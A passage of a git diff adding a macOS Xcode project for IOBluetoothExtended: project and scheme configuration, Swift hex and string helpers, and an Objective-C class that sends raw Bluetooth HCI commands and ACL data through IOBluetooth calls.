+		8C31743022D1049E004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
+		8C31743A22D104DA004B9604 /* HCIDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCIDelegate.h; sourceTree = "<group>"; };
+		8C31744122D10516004B9604 /* IOBluetoothHostController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOBluetoothHostController.h; sourceTree = "<group>"; };
+		8C57A7412333A6D000037C3D /* HCICommunicator.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = HCICommunicator.h; sourceTree = "<group>"; };
+		8C57A7422333A6E100037C3D /* HCICommunicator.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = HCICommunicator.m; sourceTree = "<group>"; };
+		8C72A82723339457001A9806 /* IOBE.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBE.m; sourceTree = "<group>"; };
+		8C72A8322333A100001A9806 /* IOBE.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBE.h; sourceTree = "<group>"; };
+		8CE61E5C232AE8D20086419F /* Extensions.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Extensions.swift; sourceTree = "<group>"; };
+/* End PBXFileReference section */
+
+/* Begin PBXFrameworksBuildPhase section */
+		8C31741D22D1049D004B9604 /* Frameworks */ = {
+			isa = PBXFrameworksBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		8C31742622D1049E004B9604 /* Frameworks */ = {
+			isa = PBXFrameworksBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXFrameworksBuildPhase section */
+
+/* Begin PBXGroup section */
+		8C31741622D1049D004B9604 = {
+			isa = PBXGroup;
+			children = (
+				8C31742222D1049D004B9604 /* IOBluetoothExtended */,
+				8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */,
+				8C31742122D1049D004B9604 /* Products */,
+			);
+			sourceTree = "<group>";
+		};
+		8C31742122D1049D004B9604 /* Products */ = {
+			isa = PBXGroup;
+			children = (
+				8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */,
+				8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */,
+			);
+			name = Products;
+			sourceTree = "<group>";
+		};
+		8C31742222D1049D004B9604 /* IOBluetoothExtended */ = {
+			isa = PBXGroup;
+			children = (
+				8C72A82B2333949C001A9806 /* Util */,
+				8C31742322D1049D004B9604 /* IOBluetoothExtended.h */,
+				8C31744122D10516004B9604 /* IOBluetoothHostController.h */,
+				8C72A8322333A100001A9806 /* IOBE.h */,
+				8C72A82723339457001A9806 /* IOBE.m */,
+				8C31743A22D104DA004B9604 /* HCIDelegate.h */,
+				8C3047E1231D7CAE0003E282 /* HCIDelegate.m */,
+				8C3047E9231DCDE30003E282 /* HCIDelegate.swift */,
+				8C57A7412333A6D000037C3D /* HCICommunicator.h */,
+				8C57A7422333A6E100037C3D /* HCICommunicator.m */,
+				8CE61E5C232AE8D20086419F /* Extensions.swift */,
+				8C31742422D1049D004B9604 /* Info.plist */,
+			);
+			path = IOBluetoothExtended;
+			sourceTree = "<group>";
+		};
+		8C31742D22D1049E004B9604 /* IOBluetoothExtendedTests */ = {
+			isa = PBXGroup;
+			children = (
+				8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */,
+				8C31743022D1049E004B9604 /* Info.plist */,
+			);
+			path = IOBluetoothExtendedTests;
+			sourceTree = "<group>";
+		};
+		8C72A82B2333949C001A9806 /* Util */ = {
+			isa = PBXGroup;
+			children = (
+			);
+			path = Util;
+			sourceTree = "<group>";
+		};
+/* End PBXGroup section */
+
+/* Begin PBXHeadersBuildPhase section */
+		8C31741B22D1049D004B9604 /* Headers */ = {
+			isa = PBXHeadersBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */,
+				8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */,
+				8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */,
+				8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXHeadersBuildPhase section */
+
+/* Begin PBXNativeTarget section */
+		8C31741F22D1049D004B9604 /* IOBluetoothExtended */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */;
+			buildPhases = (
+				8C31741B22D1049D004B9604 /* Headers */,
+				8C31741C22D1049D004B9604 /* Sources */,
+				8C31741D22D1049D004B9604 /* Frameworks */,
+				8C31741E22D1049D004B9604 /* Resources */,
+				8C5F1E5923605FFF00945944 /* ShellScript */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = IOBluetoothExtended;
+			productName = IOBluetoothExtended;
+			productReference = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */;
+			productType = "com.apple.product-type.framework";
+		};
+		8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */;
+			buildPhases = (
+				8C31742522D1049E004B9604 /* Sources */,
+				8C31742622D1049E004B9604 /* Frameworks */,
+				8C31742722D1049E004B9604 /* Resources */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+				8C31742C22D1049E004B9604 /* PBXTargetDependency */,
+			);
+			name = IOBluetoothExtendedTests;
+			productName = IOBluetoothExtendedTests;
+			productReference = 8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */;
+			productType = "com.apple.product-type.bundle.unit-test";
+		};
+/* End PBXNativeTarget section */
+
+/* Begin PBXProject section */
+		8C31741722D1049D004B9604 /* Project object */ = {
+			isa = PBXProject;
+			attributes = {
+				LastUpgradeCheck = 1100;
+				ORGANIZATIONNAME = "Davide Toldo";
+				TargetAttributes = {
+					8C31741F22D1049D004B9604 = {
+						CreatedOnToolsVersion = 10.2.1;
+						LastSwiftMigration = 1030;
+					};
+					8C31742822D1049E004B9604 = {
+						CreatedOnToolsVersion = 10.2.1;
+					};
+				};
+			};
+			buildConfigurationList = 8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */;
+			compatibilityVersion = "Xcode 9.3";
+			developmentRegion = en;
+			hasScannedForEncodings = 0;
+			knownRegions = (
+				en,
+			);
+			mainGroup = 8C31741622D1049D004B9604;
+			productRefGroup = 8C31742122D1049D004B9604 /* Products */;
+			projectDirPath = "";
+			projectRoot = "";
+			targets = (
+				8C31741F22D1049D004B9604 /* IOBluetoothExtended */,
+				8C31742822D1049E004B9604 /* IOBluetoothExtendedTests */,
+			);
+		};
+/* End PBXProject section */
+
+/* Begin PBXResourcesBuildPhase section */
+		8C31741E22D1049D004B9604 /* Resources */ = {
+			isa = PBXResourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		8C31742722D1049E004B9604 /* Resources */ = {
+			isa = PBXResourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXResourcesBuildPhase section */
+
+/* Begin PBXShellScriptBuildPhase section */
+		8C5F1E5923605FFF00945944 /* ShellScript */ = {
+			isa = PBXShellScriptBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			inputFileListPaths = (
+			);
+			inputPaths = (
+			);
+			outputFileListPaths = (
+			);
+			outputPaths = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+			shellPath = /bin/sh;
+			shellScript = "# Type a script or drag a script file from your workspace to insert its path.\ncp -r ${BUILT_PRODUCTS_DIR}/${EXECUTABLE_NAME}.framework ../${EXECUTABLE_NAME}.framework\n";
+		};
+/* End PBXShellScriptBuildPhase section */
+
+/* Begin PBXSourcesBuildPhase section */
+		8C31741C22D1049D004B9604 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				8C72A82823339457001A9806 /* IOBE.m in Sources */,
+				8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */,
+				8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */,
+				8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */,
+				8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+		8C31742522D1049E004B9604 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXSourcesBuildPhase section */
+
+/* Begin PBXTargetDependency section */
+		8C31742C22D1049E004B9604 /* PBXTargetDependency */ = {
+			isa = PBXTargetDependency;
+			target = 8C31741F22D1049D004B9604 /* IOBluetoothExtended */;
+			targetProxy = 8C31742B22D1049E004B9604 /* PBXContainerItemProxy */;
+		};
+/* End PBXTargetDependency section */
+
+/* Begin XCBuildConfiguration section */
+		8C31743222D1049E004B9604 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_SEARCH_USER_PATHS = NO;
+				CLANG_ANALYZER_NONNULL = YES;
+				CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
+				CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
+				CLANG_CXX_LIBRARY = "libc++";
+				CLANG_ENABLE_MODULES = YES;
+				CLANG_ENABLE_OBJC_ARC = YES;
+				CLANG_ENABLE_OBJC_WEAK = YES;
+				CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
+				CLANG_WARN_BOOL_CONVERSION = YES;
+				CLANG_WARN_COMMA = YES;
+				CLANG_WARN_CONSTANT_CONVERSION = YES;
+				CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
+				CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
+				CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
+				CLANG_WARN_EMPTY_BODY = YES;
+				CLANG_WARN_ENUM_CONVERSION = YES;
+				CLANG_WARN_INFINITE_RECURSION = YES;
+				CLANG_WARN_INT_CONVERSION = YES;
+				CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
+				CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
+				CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
+				CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
+				CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
+				CLANG_WARN_STRICT_PROTOTYPES = YES;
+				CLANG_WARN_SUSPICIOUS_MOVE = YES;
+				CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
+				CLANG_WARN_UNREACHABLE_CODE = YES;
+				CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
+				CODE_SIGN_IDENTITY = "Mac Developer";
+				COPY_PHASE_STRIP = NO;
+				CURRENT_PROJECT_VERSION = 1;
+				DEBUG_INFORMATION_FORMAT = dwarf;
+				ENABLE_STRICT_OBJC_MSGSEND = YES;
+				ENABLE_TESTABILITY = YES;
+				GCC_C_LANGUAGE_STANDARD = gnu11;
+				GCC_DYNAMIC_NO_PIC = NO;
+				GCC_NO_COMMON_BLOCKS = YES;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"DEBUG=1",
+					"$(inherited)",
+				);
+				GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
+				GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
+				GCC_WARN_UNDECLARED_SELECTOR = YES;
+				GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
+				GCC_WARN_UNUSED_FUNCTION = YES;
+				GCC_WARN_UNUSED_VARIABLE = YES;
+				MACOSX_DEPLOYMENT_TARGET = 10.14;
+				MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
+				MTL_FAST_MATH = YES;
+				ONLY_ACTIVE_ARCH = YES;
+				SDKROOT = macosx;
+				VERSIONING_SYSTEM = "apple-generic";
+				VERSION_INFO_PREFIX = "";
+			};
+			name = Debug;
+		};
+		8C31743322D1049E004B9604 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_SEARCH_USER_PATHS = NO;
+				CLANG_ANALYZER_NONNULL = YES;
+				CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
+				CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
+				CLANG_CXX_LIBRARY = "libc++";
+				CLANG_ENABLE_MODULES = YES;
+				CLANG_ENABLE_OBJC_ARC = YES;
+				CLANG_ENABLE_OBJC_WEAK = YES;
+				CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
+				CLANG_WARN_BOOL_CONVERSION = YES;
+				CLANG_WARN_COMMA = YES;
+				CLANG_WARN_CONSTANT_CONVERSION = YES;
+				CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
+				CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
+				CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
+				CLANG_WARN_EMPTY_BODY = YES;
+				CLANG_WARN_ENUM_CONVERSION = YES;
+				CLANG_WARN_INFINITE_RECURSION = YES;
+				CLANG_WARN_INT_CONVERSION = YES;
+				CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
+				CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
+				CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
+				CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
+				CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
+				CLANG_WARN_STRICT_PROTOTYPES = YES;
+				CLANG_WARN_SUSPICIOUS_MOVE = YES;
+				CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
+				CLANG_WARN_UNREACHABLE_CODE = YES;
+				CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
+				CODE_SIGN_IDENTITY = "Mac Developer";
+				COPY_PHASE_STRIP = NO;
+				CURRENT_PROJECT_VERSION = 1;
+				DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
+				ENABLE_NS_ASSERTIONS = NO;
+				ENABLE_STRICT_OBJC_MSGSEND = YES;
+				GCC_C_LANGUAGE_STANDARD = gnu11;
+				GCC_NO_COMMON_BLOCKS = YES;
+				GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
+				GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
+				GCC_WARN_UNDECLARED_SELECTOR = YES;
+				GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
+				GCC_WARN_UNUSED_FUNCTION = YES;
+				GCC_WARN_UNUSED_VARIABLE = YES;
+				MACOSX_DEPLOYMENT_TARGET = 10.14;
+				MTL_ENABLE_DEBUG_INFO = NO;
+				MTL_FAST_MATH = YES;
+				SDKROOT = macosx;
+				SWIFT_COMPILATION_MODE = wholemodule;
+				VERSIONING_SYSTEM = "apple-generic";
+				VERSION_INFO_PREFIX = "";
+			};
+			name = Release;
+		};
+		8C31743522D1049E004B9604 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
+				CLANG_ENABLE_MODULES = YES;
+				CODE_SIGN_IDENTITY = "";
+				CODE_SIGN_STYLE = Automatic;
+				COMBINE_HIDPI_IMAGES = YES;
+				DEFINES_MODULE = YES;
+				DEVELOPMENT_TEAM = 27U966V459;
+				DYLIB_COMPATIBILITY_VERSION = 1;
+				DYLIB_CURRENT_VERSION = 1;
+				DYLIB_INSTALL_NAME_BASE = "@rpath";
+				FRAMEWORK_VERSION = A;
+				GCC_NO_COMMON_BLOCKS = NO;
+				INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
+				INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
+				LD_RUNPATH_SEARCH_PATHS = (
+					"$(inherited)",
+					"@executable_path/../Frameworks",
+					"@loader_path/Frameworks",
+				);
+				PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
+				PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
+				SKIP_INSTALL = YES;
+				SWIFT_OBJC_BRIDGING_HEADER = "";
+				SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
+				SWIFT_OPTIMIZATION_LEVEL = "-Onone";
+				SWIFT_VERSION = 5.0;
+			};
+			name = Debug;
+		};
+		8C31743622D1049E004B9604 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES = YES;
+				CLANG_ENABLE_MODULES = YES;
+				CODE_SIGN_IDENTITY = "";
+				CODE_SIGN_STYLE = Automatic;
+				COMBINE_HIDPI_IMAGES = YES;
+				DEFINES_MODULE = YES;
+				DEVELOPMENT_TEAM = 27U966V459;
+				DYLIB_COMPATIBILITY_VERSION = 1;
+				DYLIB_CURRENT_VERSION = 1;
+				DYLIB_INSTALL_NAME_BASE = "@rpath";
+				FRAMEWORK_VERSION = A;
+				GCC_NO_COMMON_BLOCKS = NO;
+				INFOPLIST_FILE = IOBluetoothExtended/Info.plist;
+				INSTALL_PATH = "$(LOCAL_LIBRARY_DIR)/Frameworks";
+				LD_RUNPATH_SEARCH_PATHS = (
+					"$(inherited)",
+					"@executable_path/../Frameworks",
+					"@loader_path/Frameworks",
+				);
+				PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.IOBluetoothExtended";
+				PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)";
+				SKIP_INSTALL = YES;
+				SWIFT_OBJC_BRIDGING_HEADER = "";
+				SWIFT_OBJC_INTERFACE_HEADER_NAME = "IOBluetoothExtended-Swift.h";
+				SWIFT_VERSION = 5.0;
+			};
+			name = Release;
+		};
+		8C31743822D1049E004B9604 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
+				CODE_SIGN_STYLE = Automatic;
+				COMBINE_HIDPI_IMAGES = YES;
+				DEVELOPMENT_TEAM = M66VH9B6C7;
+				INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
+				LD_RUNPATH_SEARCH_PATHS = (
+					"$(inherited)",
+					"@executable_path/../Frameworks",
+					"@loader_path/../Frameworks",
+				);
+				PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
+				PRODUCT_NAME = "$(TARGET_NAME)";
+			};
+			name = Debug;
+		};
+		8C31743922D1049E004B9604 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES = YES;
+				CODE_SIGN_STYLE = Automatic;
+				COMBINE_HIDPI_IMAGES = YES;
+				DEVELOPMENT_TEAM = M66VH9B6C7;
+				INFOPLIST_FILE = IOBluetoothExtendedTests/Info.plist;
+				LD_RUNPATH_SEARCH_PATHS = (
+					"$(inherited)",
+					"@executable_path/../Frameworks",
+					"@loader_path/../Frameworks",
+				);
+				PRODUCT_BUNDLE_IDENTIFIER = com.davidetoldo.IOBluetoothExtendedTests;
+				PRODUCT_NAME = "$(TARGET_NAME)";
+			};
+			name = Release;
+		};
+/* End XCBuildConfiguration section */
+
+/* Begin XCConfigurationList section */
+		8C31741A22D1049D004B9604 /* Build configuration list for PBXProject "IOBluetoothExtended" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				8C31743222D1049E004B9604 /* Debug */,
+				8C31743322D1049E004B9604 /* Release */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Release;
+		};
+		8C31743422D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtended" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				8C31743522D1049E004B9604 /* Debug */,
+				8C31743622D1049E004B9604 /* Release */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Release;
+		};
+		8C31743722D1049E004B9604 /* Build configuration list for PBXNativeTarget "IOBluetoothExtendedTests" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				8C31743822D1049E004B9604 /* Debug */,
+				8C31743922D1049E004B9604 /* Release */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Release;
+		};
+/* End XCConfigurationList section */
+	};
+	rootObject = 8C31741722D1049D004B9604 /* Project object */;
+}

macos-framework/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/xcshareddata/xcschemes/IOBluetoothExtended.xcscheme

@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<Scheme
+   LastUpgradeVersion = "1110"
+   version = "1.3">
+   <BuildAction
+      parallelizeBuildables = "YES"
+      buildImplicitDependencies = "YES">
+      <BuildActionEntries>
+         <BuildActionEntry
+            buildForTesting = "YES"
+            buildForRunning = "YES"
+            buildForProfiling = "YES"
+            buildForArchiving = "YES"
+            buildForAnalyzing = "YES">
+            <BuildableReference
+               BuildableIdentifier = "primary"
+               BlueprintIdentifier = "8C31741F22D1049D004B9604"
+               BuildableName = "IOBluetoothExtended.framework"
+               BlueprintName = "IOBluetoothExtended"
+               ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
+            </BuildableReference>
+         </BuildActionEntry>
+      </BuildActionEntries>
+   </BuildAction>
+   <TestAction
+      buildConfiguration = "Debug"
+      selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
+      selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
+      shouldUseLaunchSchemeArgsEnv = "YES">
+      <Testables>
+         <TestableReference
+            skipped = "NO">
+            <BuildableReference
+               BuildableIdentifier = "primary"
+               BlueprintIdentifier = "8C31742822D1049E004B9604"
+               BuildableName = "IOBluetoothExtendedTests.xctest"
+               BlueprintName = "IOBluetoothExtendedTests"
+               ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
+            </BuildableReference>
+         </TestableReference>
+      </Testables>
+   </TestAction>
+   <LaunchAction
+      buildConfiguration = "Debug"
+      selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
+      selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
+      launchStyle = "0"
+      useCustomWorkingDirectory = "NO"
+      ignoresPersistentStateOnLaunch = "NO"
+      debugDocumentVersioning = "YES"
+      debugServiceExtension = "internal"
+      allowLocationSimulation = "YES">
+   </LaunchAction>
+   <ProfileAction
+      buildConfiguration = "Release"
+      shouldUseLaunchSchemeArgsEnv = "YES"
+      savedToolIdentifier = ""
+      useCustomWorkingDirectory = "NO"
+      debugDocumentVersioning = "YES">
+      <MacroExpansion>
+         <BuildableReference
+            BuildableIdentifier = "primary"
+            BlueprintIdentifier = "8C31741F22D1049D004B9604"
+            BuildableName = "IOBluetoothExtended.framework"
+            BlueprintName = "IOBluetoothExtended"
+            ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
+         </BuildableReference>
+      </MacroExpansion>
+   </ProfileAction>
+   <AnalyzeAction
+      buildConfiguration = "Debug">
+   </AnalyzeAction>
+   <ArchiveAction
+      buildConfiguration = "Release"
+      revealArchiveInOrganizer = "YES">
+   </ArchiveAction>
+</Scheme>

macos-framework/IOBluetoothExtended/IOBluetoothExtended/Extensions.swift

@@ -0,0 +1,90 @@
+//
+//  Extensions.swift
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 12.09.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+import Foundation
+
+extension Data {
+    struct HexEncodingOptions: OptionSet {
+        let rawValue: Int
+        static let upperCase = HexEncodingOptions(rawValue: 1 << 0)
+    }
+    
+    func hexEncodedString(options: HexEncodingOptions = []) -> String {
+        let format = options.contains(.upperCase) ? "%02hhX" : "%02hhx"
+        return map { String(format: format, $0) }.joined()
+    }
+}
+
+extension String {
+    init?(_ num: UInt8?) {
+        if let n = num { self = String(n) }
+        else { return nil }
+    }
+    
+    func separate(every stride: Int = 4, with separator: Character = " ") -> String {
+        return String(enumerated().map { $0 > 0 && $0 % stride == 0 ? [separator, $1] : [$1]}.joined())
+    }
+    
+    func toAscii() -> String {
+        let pattern = "(0x)?([0-9a-f]{2})"
+        let regex = try! NSRegularExpression(pattern: pattern, options: .caseInsensitive)
+        let nsString = self as NSString
+        let matches = regex.matches(in: self, options: [], range: NSMakeRange(0, nsString.length))
+        var characters = matches.map {
+            Character(UnicodeScalar(UInt32(nsString.substring(with: $0.range(at: 2)), radix: 16)!)!)
+        }
+        characters = characters.map {
+            if !$0.isASCII { return "." }
+            if $0.asciiValue! < 32 { return "." }
+            if $0.asciiValue! > 130 { return "." }
+            if $0.isNewline { return "." }
+            if $0 == "\0" { return "." }
+            return $0
+        }
+        return String(characters)
+    }
+    
+    var hexadecimal: Data? {
+        var data = Data(capacity: count / 2)
+
+        let regex = try! NSRegularExpression(pattern: "[0-9a-f]{1,2}", options: .caseInsensitive)
+        regex.enumerateMatches(in: self, range: NSRange(startIndex..., in: self)) { match, _, _ in
+            let byteString = (self as NSString).substring(with: match!.range)
+            let num = UInt8(byteString, radix: 16)!
+            data.append(num)
+        }
+
+        guard data.count > 0 else { return nil }
+
+        return data
+    }
+
+    subscript (i: Int) -> String {
+        return self[i ..< i + 1]
+    }
+
+    func substring(fromIndex: Int) -> String {
+        return self[min(fromIndex, count) ..< count]
+    }
+
+    func substring(toIndex: Int) -> String {
+        return self[0 ..< max(0, toIndex)]
+    }
+
+    subscript (r: Range<Int>) -> String {
+        let range = Range(uncheckedBounds: (lower: max(0, min(count, r.lowerBound)),                                  upper: min(count, max(0, r.upperBound))))
+        let start = index(startIndex, offsetBy: range.lowerBound)
+        let end = index(start, offsetBy: range.upperBound - range.lowerBound)
+        return String(self[start ..< end])
+    }
+}
+
+extension Sequence where Element == UInt8 {
+    var data: Data { .init(self) }
+    var hexa: String { map { .init(format: "%02x", $0) }.joined() }
+}

macos-framework/IOBluetoothExtended/IOBluetoothExtended/HCICommunicator.h

@@ -0,0 +1,21 @@
+//
+//  HCICommunicator.h
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 19.09.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import <Foundation/Foundation.h>
+
+#ifndef HCICommunicator_h
+#define HCICommunicator_h
+
+@interface HCICommunicator: NSObject
+
++ (void) sendHCICommand:(uint8_t [])arg1 len:(uint8_t)arg2;
++ (void) sendACLCommand:(uint8_t [])arg1 len:(uint8_t)arg2;
+
+@end
+
+#endif /* HCICommunicator_h */

macos-framework/IOBluetoothExtended/IOBluetoothExtended/HCICommunicator.m

@@ -0,0 +1,70 @@
+//
+//  HCICommunicator.m
+//  IOBluetoothExtended
+//
+//  Created by Davide Toldo on 19.09.19.
+//  Copyright © 2019 Davide Toldo. All rights reserved.
+//
+
+#import "HCICommunicator.h"
+#import "IOBluetoothExtended.h"
+#import <IOBluetoothHostController.h>
+
+@implementation HCICommunicator
+
++ (void) sendHCICommand:(uint8_t [])arg1 len:(uint8_t)arg2 {
+    NSData *data = [NSData dataWithBytes:arg1 length:arg2];
+    uint8_t *command = calloc(arg2, sizeof(uint8_t));
+    memcpy(command, [data bytes], arg2);
+    
+    BluetoothHCIRequestID request = 0;
+    
+    int error = BluetoothHCIRequestCreate(&request, 1000, nil, 0);
+    if (error) {
+        BluetoothHCIRequestDelete(request);
+        printf("Couldn't create error: %08x\n", error);
+    }
+    
+    size_t commandSize = 3;
+    if (arg2 > 2) {
+        commandSize += command[2];
+    }
+    
+    error = BluetoothHCISendRawCommand(request, command, commandSize);
+    
+    if (error) {
+        BluetoothHCIRequestDelete(request);
+        printf("Send HCI command Error: %08x\n", error);
+    }
+    
+    sleep(0x1);
+    BluetoothHCIRequestDelete(request);
+}
+
++ (void) sendACLCommand:(uint8_t [])arg1 len:(uint8_t)arg2 {
+    NSData *data = [NSData dataWithBytes:arg1 length:arg2];
+    uint8_t *commandData = calloc(arg2, sizeof(uint8_t));
+    memcpy(commandData, [data bytes], arg2);
+
+    BluetoothHCIRequestID request = 0;
+
+    int error = BluetoothHCIRequestCreate(&request, 1000, nil, 0);
+    if (error) {
+        BluetoothHCIRequestDelete(request);
+        printf("Couldn't create error: %08x\n", error);
+    }
+
+    // Read device handle from data
+    uint16_t handle = commandData[0];
+    error = BluetoothHCISendRawACLData(commandData, arg2, handle, request);
+
+    if (error) {
+        BluetoothHCIRequestDelete(request);
+        printf("Send HCI command Error: %08x\n", error);
+    }
+
+    sleep(0x1);
+    BluetoothHCIRequestDelete(request);
+}
+
+@end

macos-framework/IOBluetoothExtended/IOBluetoothExtended/HCIDelegate.h

@@ -0,0 +1,37 @@
+//
+//  HCIDelegate.h
+//  IOBluetoothExtended
+//
